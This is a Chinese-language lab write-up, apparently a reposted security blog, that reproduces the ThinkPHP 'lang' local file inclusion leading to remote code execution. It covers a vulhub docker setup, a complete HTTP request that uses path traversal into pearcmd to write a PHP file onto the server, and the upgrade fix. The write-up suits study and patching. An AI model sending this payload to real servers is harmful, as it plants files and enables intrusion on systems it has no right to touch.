thinkphp lang远程命令执行漏洞复现

admin 2022年12月21日12:32:33评论294 views字数 1227阅读4分5秒阅读模式

0x01 简介

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。

0x02 影响范围

● v6.0.0<=ThinkPHP<=v6.0.13

● v5.0.0<=ThinkPHP<=5.0.12

● v5.1.0<=ThinkPHP<=5.1.8

0x03 漏洞详情

thinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。通过 get、header、cookie 等位置传入参数实现目录穿越和文件包含,从而利用 pearcmd 文件包含实现远程命令执行通过构造特定的 URL,可以实现目录穿越和文件包含,然后利用 pearcmd 文件包含实现远程命令执行。

0x04 漏洞利用

漏洞环境搭建

在vulhub目录同步环境

git pull

thinkphp lang远程命令执行漏洞复现

然后进入到rce-lang目录拉起docker环境

docker-compose up -d

thinkphp lang远程命令执行漏洞复现

访问http://your-ip:8080,看到ThinkPHP默认的欢迎页面,即环境搭建成功

thinkphp lang远程命令执行漏洞复现

漏洞复现

文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:

  1. PHP环境开启了register_argc_argv

  2. PHP环境安装了pcel/pear

使用如下数据包写入phpinfo

GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: xxx:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功

thinkphp lang远程命令执行漏洞复现

此时访问http://your-ip:8080/shell.php即可发现已经成功写入文件

thinkphp lang远程命令执行漏洞复现

0x05 漏洞修复

尽快安装 ThinkPHP V6.0.14 或更高版本


原文始发于微信公众号(闪焰安全服务团队):thinkphp lang远程命令执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月21日12:32:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   thinkphp lang远程命令执行漏洞复现https://cn-sec.com/archives/1475094.html

发表评论

匿名网友 填写信息